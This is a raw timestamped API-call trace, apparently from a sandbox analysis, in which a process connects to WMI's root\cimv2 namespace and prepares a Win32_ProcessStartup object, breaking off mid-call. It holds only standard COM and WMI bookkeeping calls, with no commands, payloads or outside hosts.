WbemLocator:IClassFactory:CreateInstance (in: This=0x1a9d14e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1a9d1500) returned 0x0 [0124.382] WbemLocator:IUnknown:Release (This=0x1a9d14e0) returned 0x0 [0124.382] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9d1500, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1a9d1500) returned 0x0 [0124.382] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9d1500, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0124.382] WbemLocator:IUnknown:AddRef (This=0x1a9d1500) returned 0x3 [0124.383] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9d1500, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0124.383] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9d1500, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0124.383] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9d1500, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0124.383] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0124.384] CoGetObjectContext (in: riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1a9d0d88 | out: ppv=0x1a9d0d88*=0x1a943380) returned 0x0 [0124.384] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0124.384] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9d1500, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0124.384] WbemLocator:IUnknown:Release (This=0x1a9d1500) returned 0x2 [0124.384] WbemLocator:IUnknown:Release (This=0x1a9d1500) returned 0x1 [0124.386] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0124.386] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0124.386] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9d1500, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1a9d1500) returned 0x0 [0124.386] WbemLocator:IUnknown:AddRef (This=0x1a9d1500) returned 0x3 [0124.386] WbemLocator:IUnknown:Release (This=0x1a9d1500) returned 0x2 [0124.564] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97fa90, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0124.564] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fa90, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0124.564] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fa90, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0124.567] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1a9d1520) returned 0x0 [0124.567] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1a9d1520, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1a952990) returned 0x0 [0125.711] WbemLocator:IUnknown:QueryInterface (in: This=0x1a952990, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1a9d58b0) returned 0x0 [0125.711] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1a9d58b0, pProxy=0x1a952990, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0125.711] WbemLocator:IUnknown:Release (This=0x1a9d58b0) returned 0x1 [0125.711] WbemLocator:IUnknown:QueryInterface (in: This=0x1a952990, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1a9d58f0) returned 0x0 [0125.712] WbemLocator:IUnknown:QueryInterface (in: This=0x1a952990, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1a9d58b0) returned 0x0 [0125.712] WbemLocator:IClientSecurity:SetBlanket (This=0x1a9d58b0, pProxy=0x1a952990, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0125.712] WbemLocator:IUnknown:Release (This=0x1a9d58b0) returned 0x2 [0125.712] WbemLocator:IUnknown:Release (This=0x1a9d58f0) returned 0x1 [0125.712] CoTaskMemFree (pv=0x1a9d0e10) [0125.712] WbemLocator:IUnknown:AddRef (This=0x1a952990) returned 0x2 [0125.713] WbemLocator:IUnknown:Release (This=0x1a9d1520) returned 0x0 [0125.713] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0125.713] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0125.713] WbemLocator:IUnknown:QueryInterface (in: This=0x1a952990, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1a9d58c0) returned 0x0 [0125.714] WbemLocator:IRpcOptions:Query (in: This=0x1a9d58c0, pPrx=0x1a9d16e0, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0125.714] WbemLocator:IUnknown:Release (This=0x1a9d58c0) returned 0x2 [0125.714] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0125.714] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0125.714] WbemLocator:IUnknown:QueryInterface (in: This=0x1a952990, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1a952990) returned 0x0 [0125.714] WbemLocator:IUnknown:Release (This=0x1a952990) returned 0x2 [0125.721] SysStringLen (param_1=0x0) returned 0x0 [0125.722] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f790, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0125.722] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f790, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0125.744] IWbemServices:GetObject (in: This=0x1a952990, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1a9da500, ppCallResult=0x0) returned 0x0 [0125.786] IWbemClassObject:Get (in: This=0x1a9da500, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0125.788] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0125.788] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0125.789] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0125.789] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0125.789] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0125.789] IUnknown:Release (This=0x1a943398) returned 0x1 [0125.791] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1a9d1520) returned 0x0 [0125.791] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9d1520, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0125.791] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9d1520, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1a97fb50) returned 0x0 [0125.791] WbemDefPath:IUnknown:Release (This=0x1a9d1520) returned 0x0 [0125.792] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fb50, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1a97fb50) returned 0x0 [0125.792] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fb50, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0125.792] WbemDefPath:IUnknown:AddRef (This=0x1a97fb50) returned 0x3 [0125.792] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fb50, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0125.792] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fb50, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0125.792] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fb50, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1a9d1680) returned 0x0 [0125.792] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9d1680, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0125.792] WbemDefPath:IUnknown:Release (This=0x1a9d1680) returned 0x3 [0125.792] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0125.792] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0125.792] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fb50, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0125.792] WbemDefPath:IUnknown:Release (This=0x1a97fb50) returned 0x2 [0125.792] WbemDefPath:IUnknown:Release (This=0x1a97fb50) returned 0x1 [0125.793] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0125.793] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0125.793] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fb50, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1a97fb50) returned 0x0 [0125.793] WbemDefPath:IUnknown:AddRef (This=0x1a97fb50) returned 0x3 [0125.793] WbemDefPath:IUnknown:Release (This=0x1a97fb50) returned 0x2 [0125.793] WbemDefPath:IWbemPath:SetText (This=0x1a97fb50, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0125.804] IWbemClassObject:Get (in: This=0x1a9da500, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2775130*=0, plFlavor=0x2775134*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2775130*=19, plFlavor=0x2775134*=0) returned 0x0 [0125.815] IWbemClassObject:Get (in: This=0x1a9da500, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2775130*=19, plFlavor=0x2775134*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2775130*=19, plFlavor=0x2775134*=0) returned 0x0 [0125.821] IWbemClassObject:Put (This=0x1a9da500, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0125.832] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f250, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0125.832] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0125.832] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0125.832] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0125.832] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0125.832] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0125.832] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0125.832] IUnknown:Release (This=0x1a943398) returned 0x1 [0125.834] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1a9d1840) returned 0x0 [0125.835] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9d1840, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0125.835] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9d1840, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1a97fc10) returned 0x0 [0125.835] WbemDefPath:IUnknown:Release (This=0x1a9d1840) returned 0x0 [0125.835] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fc10, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1a97fc10) returned 0x0 [0125.835] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fc10, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0125.835] WbemDefPath:IUnknown:AddRef (This=0x1a97fc10) returned 0x3 [0125.835] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fc10, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0125.836] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fc10, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0125.836] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fc10, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1a9d1880) returned 0x0 [0125.836] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9d1880, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0125.836] WbemDefPath:IUnknown:Release (This=0x1a9d1880) returned 0x3 [0125.836] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0125.836] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0125.836] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fc10, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0125.836] WbemDefPath:IUnknown:Release (This=0x1a97fc10) returned 0x2 [0125.836] WbemDefPath:IUnknown:Release (This=0x1a97fc10) returned 0x1 [0125.836] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0125.836] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0125.836] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fc10, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1a97fc10) returned 0x0 [0125.836] WbemDefPath:IUnknown:AddRef (This=0x1a97fc10) returned 0x3 [0125.836] WbemDefPath:IUnknown:Release (This=0x1a97fc10) returned 0x2 [0125.836] WbemDefPath:IWbemPath:SetText (This=0x1a97fc10, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0125.836] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97fc10, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0125.836] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fc10, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0125.836] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fc10, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0125.837] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0125.837] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0125.837] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0125.837] IUnknown:Release (This=0x1a943398) 